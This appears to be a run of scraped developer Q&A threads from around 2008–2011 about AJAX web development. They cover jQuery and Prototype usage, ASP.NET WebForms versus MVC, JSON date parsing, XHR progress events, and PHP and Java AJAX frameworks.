My experience has been with programming web apps for apache servers in php and ruby. When I got a job maintaining a web app written in asp.net (webforms), I dove into learning the microsoft way of building web apps. I will have to say I was completely mortified! I was thinking WTF is all this viewstate garbage being sent back in forth? Is this even necessary?
And then I decided to look at doing some simple things with ajax and jquery, which lead me to update panels and clientIDs being generated, and not what I set in the view. What a waste of my time! Why can't I have multiple forms on one page? Why can't I just use regular ajax calls? Why do my views have server logic? These were all questions that im sure that many web programmers face with asp.net webforms. Then, I discovered .NET MVC. My life just got a lot easier.
I was used to using MVC frameworks like Rails and CakePHP to create web apps the way they were meant to be programmed. With technologies actually meant for the web.
My suggestion would be this, Leave WebForms for people that are used to programming winforms type applications because it tries to abstract the fact that you are programming on the web. If you want to have real freedom to develop applications for the web which actually make sense to web programmers, use .NET MVC or something similar that wont get in your way.
Thats my two cents...
to compliment @ben's answer, I used ASP.Net webforms for simple databinding, and JQuery for all Ajax transactions. To be honest, I still couldn't let go of databinding because of its simplicity. Viewstate is almost useless so I basically turn it off. You can use MVC though, but be warned, it will take most of your time developing functionality that you take for granted in Forms. Good luck man!
I've used asp.net winforms with ajax.net as well as prototype/ext/jquery. I guess something to consider is the goal of the site.. MVC is a popular pattern. I can't say anything against ASP MVC because I haven't had a chance to use it, but I want to make sure you know you are not limited to just ajax.net if you chose webforms.
I agree that asp.net ajax UpdatePanels are not an ideal solution.
We have avoided using them and instead have been using the client-side libraries to do any communication with the server. I do like what I saw at PDC about the features coming in asp.net ajax 4.0 with declarative components and client-side templating - very nice! Combining JQuery with the existing libraries provides quite a bit - and I have questioned using JQuery exclusively instead given it's much smaller footprint and it's ability to do a lot of the same things as the asp.net ajax client library.
As far as the server stack - I haven't used MVC yet, but we have had success using a home-rolled MVP approach using webforms.
It's been a long time since the original question. Now we have MVC3 and .NET 4
Is MVC now a better solution than before?
I'm gearing up to do some AJAX style client side Javascript in the near future and I've heard rave reviews of JQuery when it comes to this realm. What I'm wondering is:
If you've used something, please share your experiences. And do your best to avoid bringing religion into the subject.
An excellent resource is Jeff Atwood's post on javascript libraries: http://www.codinghorror.com/blog/archives/001163.html
He lists:
ALL the cross browser Javascript libraries out there? You do realize that there are well over 100 libraries out there, so you should narrow this down a little, imo.
A good place to start is with Wikipedia's Comparison of JavaScript frameworks, which covers Dojo, Ext, jQuery, midori, MochiKit, MooTools, Prototype & script.aculo.us, qooxdoo, YUI, and SweetDEV RIA.
jquery.
( Vote )
prototype FTW
I do like JQuery, but prototype serves my needs most of the time. It may just be because I'm more familiar with it, but I seem to get stuff done faster in Prototype than in jQuery
Loads!
JQuery, Prototype, ExtJS, Dojo, Mootools, YUI, Mochikit, the list goes on!
JQuery is very popular, and an excellent choice, however some frameworks are better for some things, and others better for others. If you could give us a better idea of what you want to do, or how you will be using it (or even which other languages you use) we'd be able to give you a nudge towards one or the other.
If you want to jump on the same bandwagon everyone else does, jQuery is the end-all, be-all. You don't have to think, just listen to everyone else. :P
Personally, I use and love MochiKit. It seems to do everything jQuery does, but the philosophy is a bit different and the community is by far smaller. There are not tons of additional plugins, but there are some. It was designed with a lot of Pythonic style and functional programming constructs, so if that sounds interesting to you, you might want to take a look.
The list that Dori posted is pretty comprehensive, and I don't think that its possible to list all the libraries out there since there might be one being written even as I type (it seems to be a passion for some people).
I feel that going with jQuery and/or prototype will probably get you off the ground and building neat stuff pretty quickly, and chances are that you will fall in love with them as so many of us have.
Gucci had Thomas Fuchs (the creator of Scriptaculous) create their website without using Flash, but check it out, it looks amazing for being JavaScript / CSS only:
Here's a post about it:
http://ajaxian.com/archives/gucci-relaunches-on-scriptaculous
These libraries are so powerful and versatile (with some nice plugins) that you won't "hit the wall" and start looking to other libraries anytime soon.
I have also seen people do some nice stuff with Dojo and extJS, but I have never worked with them myself.
have a look at mootools
I can't think of doing any javascript development without using JQuery (also take a deep look to JQuery UI).
jquery is a good choice, it leans towards the 'skinny and speedy' side, and allows for some fantastic DOM manipulation.
I like jQuery. Prototype is very similar. There are several others but I highly recommend you evaluate them yourself.
I prefer Mootools because it is lightweight and is based on Prototype, but like Jay said you should check them out for yourself.
Yahoo UI Library rules!
See also a thread on cross-browser GUIs
ot popular ones are jQuery, DojoToolkit, Prototype.js (with ScriptAculous) and MooTools. I'd encourage you to test out MooTools unless you're on ASP.NET in which case I'd encourage you to check out the project I am working on (Ra-Ajax) which is a fully server-side binded Ajax Framework for ASP.NET...
I want to report this almost unknown library : BBC Glow
Other libraries praise for bells and whistles.
Glow annoncement is about cross browser support. They wrote a clear statement about their goals, and there is also a browsers' support table
imho it is a solid starting point.
jQuery. Don't look any further.
The documentation indicates that the error: option function will make available: XHR instance, a status message string (in this case always error) and an optional exception object returned from the XHR instance (Book: JQuery in Action)
Using the following (in the $.ajax call) I was able to determine I had a "parsererror" and a "timeout" (since I added the timeout: option) error
error: function(request, error){}
What are other things you evaluate in the error option? do you include the optional exception object?
EDIT: one of the answers indicates all the return errors...learning more about what is of value (for debugging) in the XHR instance and exception object would be helpful
This is a complete $.ajax call:
$.ajax({
type: "post",
url: "http://myServer/cgi-bin/broker" ,
dataType: "text",
data: {
'_service' : 'myService',
'_program' : 'myProgram',
'start' : start,
'end' : end
},
beforeSend: function() {
$("#loading").removeClass("hide");
},
timeout: 5000,
error: function(request,error) {
$("#loading").addClass("hide");
if (error == "timeout") {
$("#error").append("The request timed out, please resubmit");
}
else {
$("#error").append("ERROR: " + error);
}
},
success: function(request) {
$("#loading").addClass("hide");
var t = eval( "(" + request + ")" ) ;
} // End success
}); // End ajax method
Thanks for the input
I find the request more useful than the error.
error:function(xhr,err){
alert("readyState: "+xhr.readyState+"\nstatus: "+xhr.status);
alert("responseText: "+xhr.responseText);
}xhr is XmlHttpRequest.
readyState values are 1:loading, 2:loaded, 3:interactive, 4:complete.
status is the HTTP status number, i.e. 404: not found, 500: server error, 200: ok.
responseText is the response from the server - this could be text or JSON from the web service, or HTML from the web server.
Looking at the jQuery source code, there are four returned statuses, in additon to success:
This is an aside, but I think there's a bug in the code you submitted. The line:
if (error = "timeout") {
should have more equals signs in it:
if (error == "timeout") {
Are you sure that response is correct? Parse error mean that there is sth wrong with data being evaluted in line var t = eval( "(" + request + ")" ) ;
The second argument that is passed to your error function will either be the string "timeout" "parserror" "error" or "notmodified". The third will be the exception object. This object can be helpful for debugging.
Given the following JSON Date representation:
"\/Date(1221644506800-0700)\/"
How do you deserialize this into it's JavaScript Date-type form?
I've tried using MS AJAX JavaScrioptSerializer as shown below:
Sys.Serialization.JavaScriptSerializer.deserialize("\/Date(1221644506800-0700)\/")
However, all I get back is the literal string date.
Many Thanks, Brian
Provided you know the string is definitely a date I prefer to do this :
new Date(parseInt(value.replace("/Date(", "").replace(")/",""), 10))
A JSON value is a string, number, object, array, true, false or null. So this is just a string. There is no official way to represent dates in JSON. This syntax is from the asp.net ajax implementation. Others use the ISO 8601 format.
You can parse it like this:
var s = "\/Date(1221644506800-0700)\/";
var m = s.match(/^\/Date\((\d+)([-+]\d\d)(\d\d)\)\/$/);
var date = null;
if (m)
date = new Date(1*m[1] + 3600000*m[2] + 60000*m[3]);
Bertrand LeRoy, who worked on ASP.NET Atlas/AJAX, described the design of the JavaScriptSerializer DateTime output and revealed the origin of the mysterious leading and trailing forward slashes. He made this recommendation:
run a simple search for "\/Date((\d+))\/" and replace with "new Date($1)" before the eval (but after validation)
I implemented that as:
var serializedDateTime = "\/Date(1271389496563)\/";
document.writeln("Serialized: " + serializedDateTime + "<br />");
var toDateRe = new RegExp("^/Date\\((\\d+)\\)/$");
function toDate(s) {
if (!s) {
return null;
}
var constructor = s.replace(toDateRe, "new Date($1)");
if (constructor == s) {
throw 'Invalid serialized DateTime value: "' + s + '"';
}
return eval(constructor);
}
document.writeln("Deserialized: " + toDate(serializedDateTime) + "<br />");
This is very close to the many of the other answers:
The regular expression used in the ASP.net AJAX deserialize method looks for a string that looks like "\/Date(1234)\/" (The string itself actually needs to contain the quotes and slashes). To get such a string, you will need to escape the quote and back slash characters, so the javascript code to create the string looks like "\"\\/Date(1234)\\/\"".
This will work.
Sys.Serialization.JavaScriptSerializer.deserialize("\"\\/Date(1221644506800)\\/\"")
It's kind of weird, but I found I had to serialize a date, then serialize the string returned from that, then deserialize on the client side once.
Something like this.
Script.Serialization.JavaScriptSerializer jss = new Script.Serialization.JavaScriptSerializer();
string script = string.Format("alert(Sys.Serialization.JavaScriptSerializer.deserialize({0}));", jss.Serialize(jss.Serialize(DateTime.Now)));
Page.ClientScript.RegisterStartupScript(this.GetType(), "ClientScript", script, true);
For those who don't want to use Microsoft Ajax, simply add a prototype function to the string class.
E.g.
String.prototype.dateFromJSON = function () {
return eval(this.replace(/\/Date\((\d+)\)\//gi, "new Date($1)"));
};
Don't want to use eval? Try something simple like
var date = new Date(parseInt(jsonDate.substr(6)));
As a side note, I used to think Microsoft was misleading by using this format. However, the JSON specification is not very clear when it comes to defining a way to describe dates in JSON.
The big number is the standard JS time
new Date(1221644506800)
Wed Sep 17 2008 19:41:46 GMT+1000 (EST)
Is it possible to get the progress of an XMLHttpRequest (bytes uploaded, bytes downloaded)?
This would be useful to show a progress bar when the user is uploading a large file. The standard API doesn't seem to support it, but maybe there's some non-standard extension in any of the browsers out there? It seems like a pretty obvious feature to have after all, since the client knows how many bytes were uploaded/downloaded.
note: I'm aware of the "poll the server for progress" alternative (it's what I'm doing right now). the main problem with this (other than the complicated server-side code) is that typically, while uploading a big file, the user's connection is completely hosed, because most ISPs offer poor upstream. So making extra requests is not as responsive as I'd hoped. I was hoping there'd be a way (maybe non-standard) to get this information, which the browser has at all times.
For the bytes uploaded is quite easy. Just monitor the xhr.upload.onprogress event, browser know the size of the files has to upload and the size of uploaded data so it can give the progress info.
For the bytes downloaded (when get info with the xhr.responseText), it's a little more difficult, because the browser doesn't know how many bytes with send the server process. The only thing that browser knows in this case is the size of bytes it's receiving. But there is a solution for this, it's sufficient to set an estimated headers length on the server script so to give the size of bytes the browser is receiving. for more info go to https://developer.mozilla.org/en/Using_XMLHttpRequest .
Example: My server script reads a zip file (it takes 5 seconds):
$filesize=filesize('test.zip');
header("Content-Length: ".$filesize);//set header length
//if the headers it not set then the evt.loaded will be 0
readfile('test.zip');
echo "asdasd";
Now i can monitor the download process of the server script beacause i know it's total length:
function updateProgress(evt)
{
if (evt.lengthComputable)
{ //evt.loaded the bytes browser receive
//evt.total the total bytes seted by the header
//
var percentComplete = (evt.loaded / evt.total)*100;
$('#progressbar').progressbar( "option", "value", percentComplete );
}
}
function sendreq(evt)
{
var req = new XMLHttpRequest();
$('#progressbar').progressbar();
req.onprogress=updateProgress;
req.open('GET', 'test.php', true);
req.onreadystatechange = function (aEvt) {
if (req.readyState == 4)
{
}
};
req.send();
}
There's a nice discussion of the Progress Indicator for AJAX pattern here:
http://ajaxpatterns.org/Progress_Indicator
One of the most promising approaches seems to be opening a second communication channel back to the server to ask it how much of the transfer has been completed.
For the total uploaded there doesn't seem to be a way to handle that, but there's something similar to what you want for download. Once readyState is 3, you can periodically query responseText to get all the content downloaded so far as a String (this doesn't work in IE), up until all of it is available at which point it will transition to readyState 4. The total bytes downloaded at any given time will be equal to the total bytes in the string stored in responseText.
For a all or nothing approach to the upload question, since you have to pass a string for upload (and it's possible to determine the total bytes of that) the total bytes sent for readyState 0 and 1 will be 0, and the total for readyState 2 will be the total bytes in the string you passed in. The total bytes both sent and received in readyState 3 and 4 will be the sum of the bytes in the original string plus the total bytes in responseText.
Firefox supports XHR download progress events.
If you have access to your apache install and trust third-party code, you can use the apache upload progress module (if you use apache; there's also a nginx upload progress module).
Otherwise, you'd have to write a script that you can hit out of band to request the status of the file (checking the filesize of the tmp file for instance).
There's some work going on in firefox 3 I believe to add upload progress support to the browser, but that's not going to get into all the browsers and be widely adopted for a while (more's the pity).
One solution is still possible without any browser support:
/joke
The only way to do that with pure javascript is to implement some kind of polling mechanism. You will need to send ajax requests at fixed intervals (each 5 seconds for example) to get the number of bytes received by the server.
A more efficient way would be to use flash. The flex component FileReference dispatchs periodically a 'progress' event holding the number of bytes already uploaded. If you need to stick with javascript, bridges are available between actionscript and javascript. The good news is that this work has been already done for you :)
This library allows to register a javascript handler on the flash progress event.
This solution has the hudge advantage of not requiring aditionnal resources on the server side.
There are zillions of Java web application frameworks.
95% were designed before the modern era of AJAX/DHTML-based development, and that means these new methods are grafted on rather than designed in.
Has any framework been built from the ground up with e.g. GWT + Extjs in mind?
If not, which framework has adapted best to the world of forms with dynamic numbers of fields and pages that morph client-side?
Echo2 / Echo3 by Nextapp (www.nextapp.com) is totally awesome.
Advantages over GWT:
1) It is not limited to a sub-set of java like GWT 2) It is easier (in my estimation) to learn 3) Has extremely robust design studio for almost drag and drop designing.
4) It is very fast, and works very well on all platforms browsers 5) You can write your application using either java script or java 6) It has great and straight forward methods for handling events and actions.
Personally I think that for any web-application in which you are trying to integrate java and speedy delivery I wouldn't hesitate to pick Echo3 or Echo2.
I use JSF and IceFaces. Although JSF has a few limitations, IceFaces seems to work pretty well and has ironed out a few of the problems with JSF.
I haven't used a really good AJAX Java framework as yet, although Echo2 looks interesting.
If you're starting from scratch. I'd have to say Google Web Toolkit. I have to say it is incredibly powerful. You get keep using most of your Java tools. Plus, you don't have to duplicate code that exists on both the server and the client, it just gets compiled differently for each area.
I like the stripes framework. It lets you use whatever javascript toolkit you want.
Here is their documentation on AJAX
I'd consider REST-style frameworks as well as the other recommendations here- Restlet or Jersey may be good choices for the backend, while you use something like JQuery or GWT on the front end. Both frameworks can easily produce JSON, and the REST style provides a nice clean line of demarcation between your client application and your server source; I find that JSF can make that demarcation pretty muddy.
I like the combination of JBoss Seam and Richfaces, especially with the JBoss tools that are extentions to Eclipse - makes building these sort of RIA's incredibly easy.
Wikipedia contains some useful comparisons:
Comparison of JavaScript frameworks List of AJAX Frameworks
Your choice depends on several different factors including whether you want the "work" done client-side (most javascript frameworks) or server-side (echo2 etc.). Other things worth looking at are tools like OpenLaszlo that provide Flash (I think) out of the box, but drop back to DHTML if there is no Flash player present.
Unfortunately I think the decision comes down to balancing several competing cocerns. Check out the comparisons and try them out - most come with online demo's for you to try.
I use this to dynamically populate drop downs, and even filter them on the fly based on user input in other places on the form.
GWT is quite powerful and easy to use (all Java, no Javascript/HTML/CSS coding). If Google has their way it will be a dominant framework/tool in web applications development, and for good reason. It already works with Google Gears (which allows offline access to web apps) - and more than likely will be optimized to work within Google Chrome.
Aptana has a server side frame work called Jaxer. This is from their site:
Jaxer's core engine is based on the same Mozilla engine that you'll find in the popular Mozilla Firefox browser. This means that the execution environment you use on both the client and the server are the same. It's Ajax all the way through and through. That means you only need one set of languages -- the languages that are native to the browser -- to create entire applications.
This framework is open source and has a very nice IDE based on Eclipse. Aptana is also working on a Javascript implementation for ActiveRecord called ActiveRecordJS. Potentially you could use this both client and server side with their framework.
I am looking for some javascript plugin (preferably jquery) to be able to scroll through an image, in the same way that google maps works.
I can make the image draggable but then i see the whole image while dragging even if the parent div is overflow:hidden.
Any help would be greatly appreciated!
(I'm super late to this now dead party, but hey, I found this page via a search so...)
Scrollview plugin suggested by mooware didn't work for me.
However Dragscrollable did: http://plugins.jquery.com/project/Dragscrollable
Check out the Google Maps Image Cutter It can take any image or digital photo and cut it into tiles which are displayed on a Google Map. Might be a quick way to do what you need...
I may be a little late to the party, but I was just looking for the same thing. What I stumbled upon is scrollview for jquery, it works perfect and does exactly this google maps-like drag-to-scroll for overflowed divs.
You could use the google maps api...they allow for you to use it with custom images. And you can choose if the controls show up or not.
EDIT: Found a decent tutorial on how to do this. http://mapki.com/wiki/Add_Your_Own_Custom_Map
For a good description of the underlying technology have a look at Chapter 4 (if I recall correctly) of the Pragmatic Programmers' book Pragmatic Ajax.
You'll see how the image slicing and dicing works under the covers. And the zooming.
This has less to do with javascript and more to do with the CSS coding.
Try a few experiments with just HTML and CSS to get the image to clip properly, then add the javascript to move it around.
If you can't get it to clip with HTML, or move with the javascript post the simplest demonstration of the problem here for us to debug.
Without the code we're shooting in the dark.
Google Maps uses images sliced into blocks which are dynamically loaded as the user pans in different directions. The Google Maps Image Cutter Paul Dixon mentions is the tool you want for this.
If you just want to pan one large image, rather than have the additional complexity of slicing the image up into blocks, then instead of using the CSS overflow property, you should use the clip property. This is supported on all browsers worth thinking about, down to IE4 if I remember correctly.
One point to note: the CSS2.1 spec shows examples with the rect values separated by commas. However this isn't supported by IE6 (perhaps not IE7, either). However all other browsers understand the version without commas. So instead of
clip: rect(5px, 40px, 45px, 5px);
you should use
clip: rect(5px 40px 45px 5px);
for compatibility.
You need a container <div> set to position:relative around the <img> element, which you then set to position: absolute.
So the basic technique is to update the top and left values as the user drags, use these together with the defined width and height of the view onto the image to create the appropriate rect() string, and update the top, left, and clip properties of the <img> element's style property.
Don't do what I did and leave out the "px" after the values in the rect() string. It took me ages to realise why it wasn't working :-)
I've just started developing an ExtJS application that I plan to support with a very lightweight JSON PHP service. Other than that, it will be standalone. My question is, what is the best way to organize the files and classes that will inevitably come into existence? Anyone have any experience with large ExtJS projects (several thousand lines).
I would start here http://blog.extjs.eu/know-how/writing-a-big-application-in-ext/
This site gives a good introductory overview of how to structure your application.
We are currently using these ideas in two of our ASP.NET MVC / ExtJS applications.
While developing your application your file and folder structure shouldn't really matter as you're probably going to want to minimize the release code and stick it in a single JS file when you're done. An automated handler or build script is probably going to be the best bet for this (see http://extjs.com/forum/showthread.php?t=44158).
That said, I've read somewhere on the ExtJS forums that a single file per class is advisable, and I can attest to that from my own experience.
I suggest users are willing to wait for an application to load, so we typically load all of JS during initial app startup. I suggest loading and eval'ing JS files as needed is unnecessary - especially when all JS will be minified before deployment to production.
I suggest namepsaces, one class per file, and a well-defined and well-documented class hierarchy.
When starting new big project, I decided to make it modular. Usually, in big projects not all modules are used by a particular user, so I load them on demand. F.e., if a project would have 50+ modules, the big probability is that user is working only with 10-.
Such architecture lets you to have the initial code relatively small.
Modules are stored on the server and loaded by AJAX call, eval'uating the responseText in AJAX callback. The only issue with this, you must keep track on module dependencies, which could be stored inside modules as well. I have a class called Module, and I check every new module instance for existance within the task. If it doesn't yet exist, I load it from the server.
I'm fairly familiar with many of the PHP frameworks out there, but I'm wondering which ones actually integrate AJAX functionality and which ones do it well? Ideally I'd love to find a framework that would allow me to avoid JavaScript alltogether (at least for typical/basic JavaScript functionality).
Does such a thing exist? If not, does anything come close?
So far, here's what I've found. This includes info from the responses as well as outside research.
PHP Frameworks PHP LibrariesSymfony is a pretty awesome framework for PHP; with easy ajax! ;)
Zend Framework is awesome and really does speed up production. I am leading a team of PHP developers for an ecommerce company now, and it is what we are using to build out the back end tools. We use tons of the built in AJAX functionality, and it comes Dojo friendly right out of the box, but has methods to integrate the other popular JavaScript frameworks.
It's worth a serious look.
I haven't used it recently, but I believe the Zend Framework contains the Dojo Tookkit library, or at least integrations for it.
It's a nice and novel idea to have a PHP framework that supports AJAX out of the box. However, there are times that you need to modify the AJAX code or troubleshoot the javascript generated by the framework. So at the end of the day, you still can't avoid javascript.
Hence, maybe it's better that you pick your favorite PHP framework and take javascript framerwork that suits you. JQueary is a robust and light-weight framework that you can try.
I think CakePHP has AJAX support. It's a really nice MVC framework.
Check out XAJAX. No JavaScript required. Takes a few hours to get figured out but works really well.
Tigermouse framework was developed with Ajax in mind. It relies heavily on Ajax calls. The thing is... it is not in active development right now. I stopped developing it because of lack of interest. The code is still available, you can use it if you wish.
No Javascript coding is required. All UI elements are defined much like in SWT or QT or GTK# and events are handled by listeners. See example applications here.
symfony provides helpers for javascript/ajax. A single php function will generally be enough to add the functionality required. Currently Prototype/Scriptaculous is the default/documented javascript framework for symfony, although jQuery is available as a plugin instead if required.
Version 1.2 of symfony may decouple Prototype more, allowing an open choice of javascript framework.
To write even less javascript, you could also try the Unobtrusive JavaScript plugin (which uses jQuery)
Nothing springs to mind, but you might look (a little less specifically) for a php library that abstracts JS calls to PHP (which would generate the JS for you in your templates). Such a library could be used in conjunction with your framework of choice, if you like.
I use cakephp with jquery. Cake does have some ajax support but it's nothing compared to what jquery has to offer. Cake is a very powerful framework the only downside is that their documentation can be limited at times, which results in having to dig through the code to figure out how something works.
There is also Akelos, it's a Rails clone, and it has Ajax support in a same way Rails would.
I just ran across Stratos, another PHP framework that has AJAX functionality built in. Has anyone used/heard of this before?
For the last twelve months, I?ve been developing NOLOH PHP/Ajax applications with all the client-side effects, automated state-management, XHR etc. without writing a single line of Javascript.
Head over to http://www.noloh.com/ and take a look for yourself.
Thank You
I would recommend my own framework, PHP On Pie, which takes a uniquely PHP-like approach to things:
One of its features is that when you make a request via AJAX, you can also ask for a bunch of "slots" to be filled in the response. These slots may contain HTML to be inserted, or some result. It also automatically takes care of timestamps in both directions, so you can ignore responses that were sent later than the latest one you processed. (You can also do the same for requests, but it would require you to keep a session on the server.)
Regarding AJAX, it basically lets you use any library out there (e.g. jQuery) to do the actual AJAX requests and receive a response. Just check out the Pop.ajaxExtend function.
In all honesty I haven't found a better PHP framework than Codeigniter. So I would say Codeigniter and my reasons are quite simple.
Easily customisable and least like a framework.
Comes with Javascript drivers that you can use to perform AJAX requests and other JavaScript goodness.
MojoMotor (a lightweight CMS) by the creators of Codeigniter (EllisLab) is a standard Codeigniter 2.0 application uses AJAX and JavaScript quite heavily.
Codeigniter is a loosely coupled CMS and you really only have to load what you want to use. Zend is great for doing AJAX / JavaScript type stuff too, but I find Zend is overly complex for 98% of all web application needs. I use it at work and quite honestly hate it.
Sajax is the simplest, and so easiest to grok, I've seen.
why no go to php frameworks,and have a look the compare list.
xajax is by far the best solution for what you're looking for (avoiding javascript) you can directly start using 0.5 rc2 (going final soon) - it's great, i'm using it in several production environments since 0.5 beta 2 and it works great
Code igniter the best framework - you can easily include some ajax libraries like Jquery, and Prototype or you can build your own ajax libraries
Check Prado out: http://www.pradosoft.com/
Symfony with sfJqueryReloaded Plugin is very Easy , but doesnt have enough Widgets like Grid , ColorPicker etc etc. You dont have Simple Form Vaidation :) You can ofcourse integrate 3rd Party jQuery Plugins.
For One Stop Solution , Use ZendFramework with Zend_Dojo DOJO Helper. DOJO has all the Widgets in One Pack so you dont have to search for Validatin,Grdi,ColorPicker,Charts Plugins
The Yii framework might be worth checking out. It's a PHP framework that uses jQuery out of the box. This won't hide all the javascript from you, but it simplifies your javascript life a lot and unifies the user community behind a single javascript library.
How can I use the Prototype library and create unobtrusive javascript to inject the onmouseover and onmouseout events to each row, rather than putting the javascript in each table row tag?
An answer utilizing the Prototype library (instead of mootools, jQuery, etc) would be most helpful.
<table id="mytable">
<tbody>
<tr><td>Foo</td><td>Bar</td></tr>
<tr><td>Bork</td><td>Bork</td></tr>
</tbody>
</table>
<script type="text/javascript">
$$('#mytable tr').each(function(item) {
item.observe('mouseover', function() {
item.setStyle({ backgroundColor: '#ddd' });
});
item.observe('mouseout', function() {
item.setStyle({backgroundColor: '#fff' });
});
});
</script>
You can use Prototype's addClassName and removeClassName methods.
Create a CSS class "hilight" that you'll apply to the hilighted <tr>'s. Then run this code on page load:
var rows = $$('tbody tr');
for (var i = 0; i < rows.length; i++) {
rows[i].onmouseover = function() { $(this).addClassName('hilight'); }
rows[i].onmouseout = function() { $(this).removeClassName('hilight'); }
}
A little bit generic solution:
Let's say I want to have a simple way to make tables with rows that will highlight when I put mouse pointer over them. In ideal world this would be very easy, with just one simple CSS rule:
tr:hover { background: red; }
Unfortunately, older versions of IE don't support :hover selector on elements other than A. So we have to use JavaScript.
In that case, I will define a table class "highlightable" to mark tables that should have hoverable rows. I will make the background switching by adding and removing the class "highlight" on the table row.
CSS
table.highlightable tr.highlight { background: red; }
JavaScript (using Prototype)
// when document loads
document.observe( 'dom:loaded', function() {
// find all rows in highlightable table
$$( 'table.highlightable tr' ).each( function( row ) {
// add/remove class "highlight" when mouse enters/leaves
row.observe( 'mouseover', function( evt ) { evt.element().addClassName( 'highlight' ) } );
row.observe( 'mouseout', function( evt ) { evt.element().removeClassName( 'highlight' ) } );
} );
} )
HTML
All you have to do now is to add class "highlightable" to any table you want:
<table class="highlightable">
...
</table>
You can do something to each row, like so:
$('tableId').getElementsBySelector('tr').each(function (row) {
...
});
So, in the body of that function, you have access to each row, one at a time, in the 'row' variable. You can then call Event.observe(row, ...)
So, something like this might work:
$('tableId').getElementsBySelector('tr').each(function (row) {
Event.observe(row, 'mouseover', function () {...do hightlight code...});
});
I made a slight change to @swilliams code.
$$('#thetable tr:not(#headRow)').each(
This lets me have a table with a header row that doesn't get highlighted.
<tr id="headRow">
<th>Header 1</th>
</tr>
I fond interesting solution for Rows background, the rows highlighting on mouse over, without JS. Here is link
Works in all browsers. For IE6/7/8 ...tr{ position: relative; } ...td{ background-image: none } and for Safari i use negative background position for each TD.
How do you get around this Ajax cross site scripting problem on FireFox 3?
If you're using jQuery it has a callback function to overcome this:
http://docs.jquery.com/Ajax/jQuery.ajax#options
As of jQuery 1.2, you can load JSON data located on another domain if you specify a JSONP callback, which can be done like so: "myurl?callback=?". jQuery automatically replaces the ? with the correct method name to call, calling your specified callback. Or, if you set the dataType to "jsonp" a callback will be automatically added to your Ajax request.
Alternatively you could make your ajax request to a server-side script which does the cross-domain call for you, then passes the data back to your script
To update the answer (I guess, mostly for my benefit when I come looking for this answer later on), if are loading XML or something else, you can always ask the user if he will allow us to read from another site with this code:
try {
if (netscape.security.PrivilegeManager.enablePrivilege)
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
} catch (e) {
alert("Sorry, browser security settings won't let this program run.");
return;
}
(from the RESTful web services book) But, this only works in firefox, when the html file is loaded from local file. So, not that useful.
Some more details would be nice: which AJAX library are you using, what would you like to achive, how you do it.
For example it can be a cross-domain Ajax request, which is not allowed. In this case use JSON.
I came across this problem recently and it was while I as AJAX loading the local request, not cross site scripting problem. Also, Jimmy himself seems to have the same problem. This seems to be the FF security problem, this article describes the cause and the solution to access to restricted uri denied" code: "1012 problem.
Sorry, got that error using JQuery $.ajax on FireFox 3. Tried jsonp suggestion but I think that will only work with something that will serve up json. I'm trying to create a sample local html file based mashup that will pull data from Yahoo!Finance, but they are serving .csv, so I think I'm SOL. ? Jimmy Chandra (Sep 9 at 17:20)
I hope you'll find it useful.
One more solution: if all you need is the headers, you can specify "HEAD" as the method and it won't trigger the security issue. For instance, if you just want to know if the web page exists.
var client = new XMLHttpRequest();
client.open("HEAD", my_url, false);
client.send(null);
if(client.readyState != 4 || client.status != 200) //if we failed
alert("can't open web page");
I would like display something more meaningful that animated gif while users upload file to my web application. What possibilities do I have?
Edit: I am using .Net but I don't mind if somebody shows me platform agnostic version.
If you are interested how all this generally works client-site, this is it:
All the solutions hook up the form via javascript and change the forms target to a newly created, invisible IFRAME. Then they are free to use AJAX to request some status about the file from the server.
The IFRAME trick is needed because all the scripts running in the window that is doing the upload will hang until the the request is completed at which time the file is fully uploaded.
Here are a couple of versions of what you're looking for for some common JavaScript toolkits.
ASP.NET File Upload with Real-Time Progress Bar
http://mattberseth.com/blog/2008/07/aspnet_file_upload_with_realti_1.html
I've tried various techniques and had most success with SWFUpload.
You create and interact with an SWFUpload object using Javascript, but uses a (hidden) Flash file for file selection, uploading and upload progress monitoring. You can specify a wide range of Javascript event handlers (uploadStarted, uploadProgress, uploadError etc.) that the Flash will call during the upload progress making it very flexible. It also implements a file queue, so it works well for single or multiple files.
Links:
Some good .NET-specific help for doing progress bars can be found in Dino Esposito's MSDN Magazine articles from last July and August:
Context-Sensitive Feedback with AJAX (July '07)
Canceling Server Tasks with ASP.NET AJAX (August '07)
A good example of doing this without using Ajax is given at CodeProject by Nilesh Thakkar.
jQuery UI Progressbar - http://jqueryui.com/demos/progressbar/
For server side generated content, i18n support is usually pretty easy, for example, Java provides extensive i18n support.
But, these rich server side libraries are not available within the browser, which causes a problem when trying to format data client side (Ajax style.)
What JavaScript libraries and techniques are recommended for performing client side formatting and time-zone calculations? Also - beyond simple client side formatting, how can consistency be achieved when performing both server side and client side formatting?
This is a complicated topic, and no simple answer will probably suffice.
For formatting (numbers, money fields, dates and times) I usually pass datatype information along with the JSON data. One possibility is to follow the conventions used by Exhibit in MIT's SIMILE project. This allows the data to be processed further on the client, if necessary. Formatting is then applied in JavaScript.
I have not needed to do time zone conversions on the client. If your time zones are specific to users or sessions (and you do not need to display several time zones on the same page at the same time), you might find it easier to do time zone conversions on the server, and send the dates and times in ISO 8601 format with time zone difference information attached. That way you can still use the times for calculations before display.
If you have a limited list of status and error messages, you might let the server localize a "hidden" list into your HTML, and then use Ajax data to select the correct message to display (rather than delivering a localized message via Ajax).
I'm also looking for a package like that. Found a small jquery plugin i18n
This solves part of a problem and includes a simple handing of placeholder, dates and numbers.
http://svn.recurser.com/misc/jquery/i18n/jquery.i18n.js
<script>
i18n_dict = {'how old':'Ich bin %s Jahre alt'};
function test_i18n(){
alert($.i18n._('how old','5');
}
</script>
<a onclick="test_i18n()">clickme</a>
Will return "Ich bin 5 Jahre alt". Parameters have to be strings though.
Would be nice if plugin handled strings with named parameters like "Ich bin %(age)s Jahre alt", then it would allow change order of parameters in the translation.
Dojo toolkit provides advanced tools for localizing web applications, plus also a wide range of widgets that are i18n out of the box. As an example of i18n widget, please have a look at date textbox widget test page. In general an i18n widget should load locale from your browser, but you can force a certain locale by passing locale config param:
<script type="text/javascript" src="../../../dojo/dojo.js"
djConfig="isDebug: true, parseOnLoad: true, locale:'de'"></script>
And internationalizing any widget is also simple - I'll use data grid widget test as an example. First, you require a library by adding dojo.require("dojo.number"); among other requires. Then you'll add a formatter for a column containing numbers:
{name: 'Column 5', field: 'col5', formatter: dojo.number.format },
That's it - your widgets are internationalized for the whole globe thanks to Unicode Common Locale Data Repository included in the Dojo toolkit. For translating your own web apps, you can use Dojo's Translatable Resource bundles.
This blog has some interesting approaches
